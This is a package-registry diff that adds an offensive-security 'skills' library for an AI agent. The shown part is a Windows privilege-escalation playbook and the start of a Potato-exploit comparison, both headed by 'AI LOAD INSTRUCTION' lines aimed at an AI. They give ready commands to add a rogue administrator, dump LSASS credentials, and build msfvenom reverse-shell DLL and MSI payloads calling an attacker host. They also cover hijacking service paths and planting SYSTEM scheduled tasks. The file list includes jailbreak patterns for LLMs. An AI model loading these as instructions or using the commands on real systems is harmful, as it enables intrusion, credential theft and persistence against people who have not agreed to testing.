ineedcodes 1.6.0 → 1.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (218) hide show
  1. package/package.json +2 -1
  2. package/skills/401-403-bypass-techniques/SKILL.md +348 -0
  3. package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
  4. package/skills/active-directory-acl-abuse/SKILL.md +295 -0
  5. package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
  6. package/skills/active-directory-certificate-services/SKILL.md +303 -0
  7. package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
  8. package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
  9. package/skills/ai-ml-security/SKILL.md +425 -0
  10. package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
  11. package/skills/android-pentesting-tricks/SKILL.md +369 -0
  12. package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
  13. package/skills/anti-debugging-techniques/SKILL.md +407 -0
  14. package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
  15. package/skills/api-authorization-and-bola/SKILL.md +48 -0
  16. package/skills/api-recon-and-docs/SKILL.md +61 -0
  17. package/skills/api-sec/SKILL.md +49 -0
  18. package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
  19. package/skills/auth-sec/SKILL.md +41 -0
  20. package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
  21. package/skills/bba-ad-attacker/SKILL.md +420 -0
  22. package/skills/bba-api-security/SKILL.md +95 -0
  23. package/skills/bba-attack-planner/SKILL.md +186 -0
  24. package/skills/bba-binary-exploit/SKILL.md +65 -0
  25. package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
  26. package/skills/bba-bug-bounty/SKILL.md +245 -0
  27. package/skills/bba-cicd-redteam/SKILL.md +515 -0
  28. package/skills/bba-cloud-security/SKILL.md +97 -0
  29. package/skills/bba-container-escape/SKILL.md +161 -0
  30. package/skills/bba-credential-tester/SKILL.md +346 -0
  31. package/skills/bba-crypto-analyst/SKILL.md +54 -0
  32. package/skills/bba-ctf-solver/SKILL.md +166 -0
  33. package/skills/bba-detection-engineer/SKILL.md +93 -0
  34. package/skills/bba-engagement-planner/SKILL.md +68 -0
  35. package/skills/bba-exploit-chainer/SKILL.md +280 -0
  36. package/skills/bba-exploit-guide/SKILL.md +96 -0
  37. package/skills/bba-forensics-analyst/SKILL.md +512 -0
  38. package/skills/bba-graphql-hunter/SKILL.md +145 -0
  39. package/skills/bba-hardware-hacker/SKILL.md +57 -0
  40. package/skills/bba-jwt-cracker/SKILL.md +133 -0
  41. package/skills/bba-llm-redteam/SKILL.md +149 -0
  42. package/skills/bba-malware-analyst/SKILL.md +305 -0
  43. package/skills/bba-mobile-pentester/SKILL.md +350 -0
  44. package/skills/bba-osint-collector/SKILL.md +645 -0
  45. package/skills/bba-payload-crafter/SKILL.md +347 -0
  46. package/skills/bba-phishing-operator/SKILL.md +516 -0
  47. package/skills/bba-poc-validator/SKILL.md +249 -0
  48. package/skills/bba-privesc-advisor/SKILL.md +98 -0
  49. package/skills/bba-purple-team/SKILL.md +56 -0
  50. package/skills/bba-recon-advisor/SKILL.md +215 -0
  51. package/skills/bba-red-team-operator/SKILL.md +61 -0
  52. package/skills/bba-report-generator/SKILL.md +145 -0
  53. package/skills/bba-reverse-engineer/SKILL.md +298 -0
  54. package/skills/bba-social-engineer/SKILL.md +341 -0
  55. package/skills/bba-ssrf-hunter/SKILL.md +120 -0
  56. package/skills/bba-stig-analyst/SKILL.md +108 -0
  57. package/skills/bba-subdomain-takeover/SKILL.md +141 -0
  58. package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
  59. package/skills/bba-threat-modeler/SKILL.md +574 -0
  60. package/skills/bba-vuln-scanner/SKILL.md +305 -0
  61. package/skills/bba-web-hunter/SKILL.md +285 -0
  62. package/skills/bba-wireless-pentester/SKILL.md +539 -0
  63. package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
  64. package/skills/binary-protection-bypass/SKILL.md +295 -0
  65. package/skills/browser-exploitation-v8/SKILL.md +334 -0
  66. package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
  67. package/skills/business-logic-vuln/SKILL.md +33 -0
  68. package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
  69. package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
  70. package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
  71. package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
  72. package/skills/classical-cipher-analysis/SKILL.md +663 -0
  73. package/skills/clickjacking/SKILL.md +163 -0
  74. package/skills/cmdi-command-injection/SKILL.md +687 -0
  75. package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
  76. package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
  77. package/skills/container-escape-techniques/SKILL.md +339 -0
  78. package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
  79. package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
  80. package/skills/crlf-injection/SKILL.md +179 -0
  81. package/skills/csp-bypass-advanced/SKILL.md +259 -0
  82. package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
  83. package/skills/csv-formula-injection/SKILL.md +144 -0
  84. package/skills/dangling-markup-injection/SKILL.md +321 -0
  85. package/skills/defi-attack-patterns/SKILL.md +355 -0
  86. package/skills/dependency-confusion/SKILL.md +178 -0
  87. package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
  88. package/skills/deserialization-insecure/SKILL.md +725 -0
  89. package/skills/dns-rebinding-attacks/SKILL.md +337 -0
  90. package/skills/email-header-injection/SKILL.md +349 -0
  91. package/skills/expression-language-injection/SKILL.md +243 -0
  92. package/skills/file-access-vuln/SKILL.md +33 -0
  93. package/skills/format-string-exploitation/SKILL.md +312 -0
  94. package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
  95. package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
  96. package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
  97. package/skills/hack/SKILL.md +162 -0
  98. package/skills/hash-attack-techniques/SKILL.md +491 -0
  99. package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
  100. package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
  101. package/skills/heap-exploitation/SKILL.md +217 -0
  102. package/skills/http-host-header-attacks/SKILL.md +323 -0
  103. package/skills/http-parameter-pollution/SKILL.md +208 -0
  104. package/skills/http2-specific-attacks/SKILL.md +350 -0
  105. package/skills/idor-broken-object-authorization/SKILL.md +336 -0
  106. package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
  107. package/skills/injection-checking/SKILL.md +50 -0
  108. package/skills/insecure-source-code-management/SKILL.md +161 -0
  109. package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
  110. package/skills/ios-pentesting-tricks/SKILL.md +418 -0
  111. package/skills/jndi-injection/SKILL.md +265 -0
  112. package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
  113. package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
  114. package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
  115. package/skills/kernel-exploitation/SKILL.md +307 -0
  116. package/skills/kubernetes-pentesting/SKILL.md +348 -0
  117. package/skills/lattice-crypto-attacks/SKILL.md +497 -0
  118. package/skills/linux-lateral-movement/SKILL.md +348 -0
  119. package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
  120. package/skills/linux-privilege-escalation/SKILL.md +346 -0
  121. package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
  122. package/skills/linux-security-bypass/SKILL.md +345 -0
  123. package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
  124. package/skills/llm-prompt-injection/SKILL.md +357 -0
  125. package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
  126. package/skills/macos-process-injection/SKILL.md +384 -0
  127. package/skills/macos-security-bypass/SKILL.md +337 -0
  128. package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
  129. package/skills/memory-forensics-volatility/SKILL.md +323 -0
  130. package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
  131. package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
  132. package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
  133. package/skills/network-protocol-attacks/SKILL.md +330 -0
  134. package/skills/nosql-injection/SKILL.md +341 -0
  135. package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
  136. package/skills/ntlm-relay-coercion/SKILL.md +267 -0
  137. package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
  138. package/skills/open-redirect/SKILL.md +380 -0
  139. package/skills/path-traversal-lfi/SKILL.md +802 -0
  140. package/skills/prototype-pollution/SKILL.md +190 -0
  141. package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
  142. package/skills/prototype-pollution-advanced/SKILL.md +338 -0
  143. package/skills/race-condition/SKILL.md +526 -0
  144. package/skills/recon-and-methodology/SKILL.md +389 -0
  145. package/skills/recon-for-sec/SKILL.md +29 -0
  146. package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
  147. package/skills/request-smuggling/SKILL.md +314 -0
  148. package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
  149. package/skills/reverse-shell-techniques/SKILL.md +290 -0
  150. package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
  151. package/skills/rsa-attack-techniques/SKILL.md +437 -0
  152. package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
  153. package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
  154. package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
  155. package/skills/sandbox-escape-techniques/SKILL.md +250 -0
  156. package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
  157. package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
  158. package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
  159. package/skills/sqli-sql-injection/SKILL.md +489 -0
  160. package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
  161. package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
  162. package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
  163. package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
  164. package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
  165. package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
  166. package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
  167. package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
  168. package/skills/stack-overflow-and-rop/SKILL.md +304 -0
  169. package/skills/steganography-techniques/SKILL.md +348 -0
  170. package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
  171. package/skills/subdomain-takeover/SKILL.md +247 -0
  172. package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
  173. package/skills/symbolic-execution-tools/SKILL.md +419 -0
  174. package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
  175. package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
  176. package/skills/traffic-analysis-pcap/SKILL.md +341 -0
  177. package/skills/tunneling-and-pivoting/SKILL.md +343 -0
  178. package/skills/type-juggling/SKILL.md +291 -0
  179. package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
  180. package/skills/unauthorized-access-common-services/SKILL.md +388 -0
  181. package/skills/upload-insecure-files/SCENARIOS.md +158 -0
  182. package/skills/upload-insecure-files/SKILL.md +543 -0
  183. package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
  184. package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
  185. package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
  186. package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
  187. package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
  188. package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
  189. package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
  190. package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
  191. package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
  192. package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
  193. package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
  194. package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
  195. package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
  196. package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
  197. package/skills/waf-bypass-techniques/SKILL.md +290 -0
  198. package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
  199. package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
  200. package/skills/web-cache-deception/SKILL.md +222 -0
  201. package/skills/websocket-security/SKILL.md +454 -0
  202. package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
  203. package/skills/windows-av-evasion/SKILL.md +342 -0
  204. package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
  205. package/skills/windows-lateral-movement/SKILL.md +335 -0
  206. package/skills/windows-privilege-escalation/SKILL.md +328 -0
  207. package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
  208. package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
  209. package/skills/xslt-injection/SKILL.md +281 -0
  210. package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
  211. package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
  212. package/skills/xss-cross-site-scripting/SKILL.md +379 -0
  213. package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
  214. package/skills/xxe-xml-external-entity/SKILL.md +554 -0
  215. package/src/agent.js +1 -1
  216. package/src/session.js +47 -11
  217. package/src/skills.js +30 -6
  218. package/src/ui.js +1 -1
@@ -0,0 +1,328 @@
1
+ ---
2
+ name: windows-privilege-escalation
3
+ description: >-
4
+ Windows local privilege escalation playbook. Use when you have low-privilege shell access on Windows and need to escalate via token abuse, Potato exploits, service misconfigurations, DLL hijacking, UAC bypass, or registry autoruns.gated: true
5
+ ---
6
+
7
+ # SKILL: Windows Local Privilege Escalation — Expert Attack Playbook
8
+
9
+ > **AI LOAD INSTRUCTION**: Expert Windows privesc techniques. Covers token manipulation, Potato family, service misconfigurations, DLL hijacking, AlwaysInstallElevated, scheduled task abuse, registry autoruns, and named pipe impersonation. Base models miss nuanced privilege prerequisites and OS-version-specific constraints.
10
+
11
+ ## 0. RELATED ROUTING
12
+
13
+ Before going deep, consider loading:
14
+
15
+ - [windows-lateral-movement](../windows-lateral-movement/SKILL.md) after escalation for pivoting to other hosts
16
+ - [windows-av-evasion](../windows-av-evasion/SKILL.md) when AV/EDR blocks your privesc tools
17
+ - [active-directory-kerberos-attacks](../active-directory-kerberos-attacks/SKILL.md) when the host is domain-joined and you need AD-level escalation
18
+ - [active-directory-acl-abuse](../active-directory-acl-abuse/SKILL.md) for domain privilege escalation via ACL misconfigurations
19
+
20
+ ### Advanced Reference
21
+
22
+ Also load [TOKEN_POTATO_TRICKS.md](./TOKEN_POTATO_TRICKS.md) when you need:
23
+ - Detailed Potato family comparison (JuicyPotato → GodPotato evolution)
24
+ - OS-version-specific exploit selection
25
+ - Required privileges and protocol details per variant
26
+
27
+ Also load [UAC_BYPASS_METHODS.md](./UAC_BYPASS_METHODS.md) when you need:
28
+ - UAC bypass technique matrix (fodhelper, eventvwr, sdclt, etc.)
29
+ - Auto-elevate binary abuse
30
+ - Mock trusted directory tricks
31
+
32
+ ---
33
+
34
+ ## 1. ENUMERATION CHECKLIST
35
+
36
+ ### System Context
37
+
38
+ ```cmd
39
+ whoami /all & REM Current user, groups, privileges
40
+ systeminfo & REM OS version, hotfixes, architecture
41
+ hostname & REM Machine name
42
+ net user %USERNAME% & REM Group memberships
43
+ ```
44
+
45
+ ### Token Privileges (Critical)
46
+
47
+ ```cmd
48
+ whoami /priv
49
+ ```
50
+
51
+ | Privilege | Escalation Path |
52
+ |---|---|
53
+ | `SeImpersonatePrivilege` | Potato family exploits (§2) |
54
+ | `SeAssignPrimaryTokenPrivilege` | Token manipulation, Potato variants |
55
+ | `SeDebugPrivilege` | Dump LSASS, inject into SYSTEM processes |
56
+ | `SeBackupPrivilege` | Read any file (SAM/SYSTEM/NTDS.dit) |
57
+ | `SeRestorePrivilege` | Write any file (DLL hijack, service binary) |
58
+ | `SeTakeOwnershipPrivilege` | Take ownership of any object |
59
+ | `SeLoadDriverPrivilege` | Load vulnerable kernel driver → kernel exploit |
60
+
61
+ ### Services & Scheduled Tasks
62
+
63
+ ```cmd
64
+ sc query state= all & REM All services
65
+ wmic service get name,displayname,pathname,startmode | findstr /i "auto"
66
+ schtasks /query /fo LIST /v & REM Verbose scheduled task list
67
+ ```
68
+
69
+ ### Installed Software & Patches
70
+
71
+ ```cmd
72
+ wmic product get name,version
73
+ wmic qfe list & REM Installed patches
74
+ ```
75
+
76
+ ### Network & Credentials
77
+
78
+ ```cmd
79
+ netstat -ano & REM Listening ports + PIDs
80
+ cmdkey /list & REM Stored credentials
81
+ dir C:\Users\*\AppData\Local\Microsoft\Credentials\*
82
+ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul
83
+ ```
84
+
85
+ ---
86
+
87
+ ## 2. TOKEN MANIPULATION & POTATO EXPLOITS
88
+
89
+ ### SeImpersonatePrivilege Abuse
90
+
91
+ Service accounts (IIS AppPool, MSSQL, etc.) typically hold `SeImpersonatePrivilege`. This enables impersonation of any token presented to you.
92
+
93
+ | Tool | OS Support | Protocol | Notes |
94
+ |---|---|---|---|
95
+ | **JuicyPotato** | Win7–Server2016 | COM/DCOM | Requires valid CLSID; patched on Server2019+ |
96
+ | **RoguePotato** | Server2019+ | OXID resolver redirect | Needs controlled machine on port 135 |
97
+ | **PrintSpoofer** | Win10/Server2016-2019 | Named pipe via Print Spooler | Simple, fast; Spooler must run |
98
+ | **SweetPotato** | Broad | COM + Print + EFS | Combines multiple techniques |
99
+ | **GodPotato** | Win8–Server2022 | DCOM RPCSS | Works on latest patched systems |
100
+
101
+ ```cmd
102
+ # PrintSpoofer (simplest for modern systems)
103
+ PrintSpoofer64.exe -i -c "cmd /c whoami"
104
+
105
+ # GodPotato (broadest compatibility)
106
+ GodPotato.exe -cmd "cmd /c net user hacker P@ss123 /add && net localgroup administrators hacker /add"
107
+
108
+ # JuicyPotato (legacy systems)
109
+ JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c whoami" -t * -c {CLSID}
110
+ ```
111
+
112
+ ### SeDebugPrivilege Abuse
113
+
114
+ ```powershell
115
+ # Dump LSASS (if SeDebugPrivilege is enabled)
116
+ procdump -ma lsass.exe lsass.dmp
117
+
118
+ # Or migrate into a SYSTEM process
119
+ # Meterpreter: migrate to winlogon.exe / services.exe
120
+ ```
121
+
122
+ ---
123
+
124
+ ## 3. SERVICE MISCONFIGURATIONS
125
+
126
+ ### Unquoted Service Paths
127
+
128
+ ```cmd
129
+ # Find unquoted paths with spaces
130
+ wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """
131
+ ```
132
+
133
+ If path is `C:\Program Files\My App\service.exe`, Windows tries:
134
+ 1. `C:\Program.exe`
135
+ 2. `C:\Program Files\My.exe`
136
+ 3. `C:\Program Files\My App\service.exe`
137
+
138
+ Place malicious binary at first writable location.
139
+
140
+ ### Weak Service Permissions
141
+
142
+ ```cmd
143
+ # Check service ACL with accesschk (Sysinternals)
144
+ accesschk64.exe -wuvc * /accepteula
145
+ # Look for: SERVICE_CHANGE_CONFIG, SERVICE_ALL_ACCESS
146
+ ```
147
+
148
+ ```cmd
149
+ # Reconfigure service to run attacker binary
150
+ sc config vuln_svc binpath= "C:\temp\rev.exe"
151
+ sc stop vuln_svc
152
+ sc start vuln_svc
153
+ ```
154
+
155
+ ### Writable Service Binaries
156
+
157
+ ```cmd
158
+ # Check if current user can write to the service binary path
159
+ icacls "C:\Program Files\VulnApp\service.exe"
160
+ # (F) = Full, (M) = Modify, (W) = Write → replace binary
161
+ ```
162
+
163
+ ---
164
+
165
+ ## 4. DLL HIJACKING
166
+
167
+ ### DLL Search Order (Standard)
168
+
169
+ 1. Directory of the executable
170
+ 2. `C:\Windows\System32`
171
+ 3. `C:\Windows\System`
172
+ 4. `C:\Windows`
173
+ 5. Current directory
174
+ 6. Directories in `%PATH%`
175
+
176
+ ### Exploitation
177
+
178
+ ```cmd
179
+ # Find missing DLLs (use Process Monitor)
180
+ # Filter: Result=NAME NOT FOUND, Path ends with .dll
181
+
182
+ # Compile malicious DLL
183
+ # msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f dll > evil.dll
184
+
185
+ # Place in writable directory that comes before the real DLL location
186
+ ```
187
+
188
+ ### Known Phantom DLL Targets
189
+
190
+ | Application | Missing DLL | Drop Location |
191
+ |---|---|---|
192
+ | Various .NET apps | `profapi.dll` | Application directory |
193
+ | Windows services | `wlbsctrl.dll` | `%PATH%` writable dir |
194
+ | Third-party updaters | `VERSION.dll` | Application directory |
195
+
196
+ ---
197
+
198
+ ## 5. ALWAYSINSTALLELEVATED
199
+
200
+ ```cmd
201
+ # Check both registry keys — BOTH must be set to 1
202
+ reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
203
+ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
204
+ ```
205
+
206
+ ```cmd
207
+ # Generate MSI payload
208
+ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f msi > evil.msi
209
+ msiexec /quiet /qn /i evil.msi
210
+ ```
211
+
212
+ ---
213
+
214
+ ## 6. SCHEDULED TASK ABUSE
215
+
216
+ ```cmd
217
+ # Enumerate tasks with writable scripts or missing binaries
218
+ schtasks /query /fo LIST /v | findstr /i "Task To Run\|Run As User\|Schedule Type"
219
+
220
+ # Check permissions on task binary
221
+ icacls "C:\path\to\task\binary.exe"
222
+
223
+ # If writable: replace binary, wait for task execution
224
+ # If missing: place your binary at the expected path
225
+ ```
226
+
227
+ ### Scheduled Task via PowerShell
228
+
229
+ ```powershell
230
+ # If you can create tasks (unlikely from low priv, useful post-UAC-bypass)
231
+ $action = New-ScheduledTaskAction -Execute "C:\temp\rev.exe"
232
+ $trigger = New-ScheduledTaskTrigger -AtLogon
233
+ Register-ScheduledTask -TaskName "Updater" -Action $action -Trigger $trigger -User "SYSTEM"
234
+ ```
235
+
236
+ ---
237
+
238
+ ## 7. REGISTRY AUTORUNS
239
+
240
+ ```cmd
241
+ # Check writable autorun locations
242
+ reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
243
+ reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
244
+ reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
245
+
246
+ # Check permissions with accesschk
247
+ accesschk64.exe -wvu "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /accepteula
248
+ ```
249
+
250
+ If an autorun entry points to a writable path → replace binary or inject new entry.
251
+
252
+ ---
253
+
254
+ ## 8. NAMED PIPE IMPERSONATION
255
+
256
+ ```powershell
257
+ # Service account creates a named pipe, tricks a SYSTEM process into connecting
258
+ # The connecting client's token is then impersonated
259
+
260
+ # PrintSpoofer leverages this with the Print Spooler:
261
+ PrintSpoofer64.exe -i -c powershell.exe
262
+ ```
263
+
264
+ Custom named pipe server (requires SeImpersonatePrivilege):
265
+ ```powershell
266
+ # Create pipe → coerce SYSTEM connection → ImpersonateNamedPipeClient() → SYSTEM token
267
+ ```
268
+
269
+ ---
270
+
271
+ ## 9. AUTOMATED TOOLS
272
+
273
+ | Tool | Purpose | Command |
274
+ |---|---|---|
275
+ | **winPEAS** | Comprehensive Windows enumeration | `winPEASx64.exe` |
276
+ | **PowerUp** | Service/DLL/registry misconfig checks | `Invoke-AllChecks` |
277
+ | **Seatbelt** | Security-focused host survey | `Seatbelt.exe -group=all` |
278
+ | **SharpUp** | C# port of PowerUp checks | `SharpUp.exe audit` |
279
+ | **PrivescCheck** | PowerShell privesc checker | `Invoke-PrivescCheck` |
280
+ | **BeRoot** | Common misconfig finder | `beRoot.exe` |
281
+
282
+ ---
283
+
284
+ ## 10. PRIVILEGE ESCALATION DECISION TREE
285
+
286
+ ```
287
+ Low-privilege shell on Windows
288
+
289
+ ├── whoami /priv → SeImpersonatePrivilege?
290
+ │ ├── Yes → Potato family (§2)
291
+ │ │ ├── Server2019+/Win11 → GodPotato or PrintSpoofer
292
+ │ │ ├── Server2016/Win10 → PrintSpoofer or SweetPotato
293
+ │ │ └── Older → JuicyPotato (need CLSID)
294
+ │ └── SeDebugPrivilege? → LSASS dump / process injection
295
+
296
+ ├── Service misconfigurations?
297
+ │ ├── Unquoted path with spaces + writable dir? → binary plant (§3)
298
+ │ ├── SERVICE_CHANGE_CONFIG on service? → reconfigure binpath (§3)
299
+ │ └── Writable service binary? → replace executable (§3)
300
+
301
+ ├── DLL hijacking opportunity?
302
+ │ ├── Missing DLL in search path? → plant malicious DLL (§4)
303
+ │ └── Writable directory in %PATH%? → DLL plant (§4)
304
+
305
+ ├── AlwaysInstallElevated set?
306
+ │ └── Both HKLM+HKCU = 1 → MSI payload (§5)
307
+
308
+ ├── Scheduled task abuse?
309
+ │ ├── Task runs as SYSTEM with writable binary? → replace (§6)
310
+ │ └── Task references missing binary? → plant binary (§6)
311
+
312
+ ├── Registry autorun writable?
313
+ │ └── Writable binary path → replace on next login/reboot (§7)
314
+
315
+ ├── UAC bypass needed? (medium integrity → high integrity)
316
+ │ └── Load UAC_BYPASS_METHODS.md
317
+
318
+ ├── Stored credentials?
319
+ │ ├── cmdkey /list → runas /savecred
320
+ │ ├── Autologon in registry? → plaintext creds
321
+ │ └── WiFi passwords, browser creds, DPAPI
322
+
323
+ └── None of the above?
324
+ ├── Run winPEAS for comprehensive scan
325
+ ├── Check internal services (netstat -ano)
326
+ ├── Look for sensitive files (unattend.xml, web.config, *.config)
327
+ └── Check for kernel exploits (systeminfo → Windows Exploit Suggester)
328
+ ```
@@ -0,0 +1,216 @@
1
+ # Token Manipulation & Potato Family Detailed Comparison
2
+
3
+ > **AI LOAD INSTRUCTION**: Load this for in-depth Potato exploit selection, token privilege prerequisites, OS-version matrices, and protocol-level details. Assumes the main [SKILL.md](./SKILL.md) is already loaded for general Windows privesc flow.
4
+
5
+ ---
6
+
7
+ ## 1. TOKEN PRIVILEGE PRIMER
8
+
9
+ ### Privilege → Attack Mapping
10
+
11
+ | Token Privilege | Attack Vector | Tools |
12
+ |---|---|---|
13
+ | `SeImpersonatePrivilege` | Impersonate any token presented to you → Potato exploits | All Potato variants |
14
+ | `SeAssignPrimaryTokenPrivilege` | Assign token to new process → create SYSTEM process | TokenManipulation, Potato variants |
15
+ | `SeDebugPrivilege` | Open any process → inject/dump SYSTEM processes | Mimikatz, procdump |
16
+ | `SeBackupPrivilege` | Read any file ignoring DACL → extract SAM/SYSTEM/NTDS | reg save, robocopy /b |
17
+ | `SeRestorePrivilege` | Write any file ignoring DACL → DLL hijack, service binary | copy/move to restricted paths |
18
+ | `SeTakeOwnershipPrivilege` | Take ownership of any securable object | takeown, icacls |
19
+ | `SeLoadDriverPrivilege` | Load kernel driver → kernel-level exploit | Capcom.sys exploit chain |
20
+ | `SeManageVolumePrivilege` | Volume operations → arbitrary file read/write | Exploit via Volume Shadow Copy |
21
+
22
+ ### How Token Impersonation Works
23
+
24
+ ```
25
+ 1. Attacker (service account) creates a named pipe / COM server
26
+ 2. SYSTEM-level process connects (coerced or naturally)
27
+ 3. Attacker calls ImpersonateNamedPipeClient() or similar
28
+ 4. Attacker's thread now runs with SYSTEM token
29
+ 5. Use CreateProcessWithTokenW() to spawn SYSTEM shell
30
+ ```
31
+
32
+ ---
33
+
34
+ ## 2. POTATO FAMILY EVOLUTION
35
+
36
+ ### Timeline & Motivation
37
+
38
+ ```
39
+ 2016: Hot Potato — NBNS spoofing + WPAD + NTLM relay (patched)
40
+ 2018: JuicyPotato — COM/DCOM activation with custom CLSID
41
+ 2019: RoguePotato — OXID resolver redirect for Server2019
42
+ 2020: PrintSpoofer — Named pipe via Print Spooler service
43
+ 2021: SweetPotato — Combines multiple coercion techniques
44
+ 2022: GodPotato — DCOM RPCSS direct, broad OS support
45
+ 2023: EfsPotato — EFS RPC named pipe token capture
46
+ ```
47
+
48
+ ---
49
+
50
+ ## 3. DETAILED COMPARISON MATRIX
51
+
52
+ | Feature | JuicyPotato | RoguePotato | PrintSpoofer | SweetPotato | GodPotato | EfsPotato |
53
+ |---|---|---|---|---|---|---|
54
+ | **Required Priv** | SeImpersonate/SeAssignPrimary | SeImpersonate | SeImpersonate | SeImpersonate | SeImpersonate | SeImpersonate |
55
+ | **Win7** | Yes | No | No | Partial | No | No |
56
+ | **Win8/8.1** | Yes | No | No | Partial | Yes | No |
57
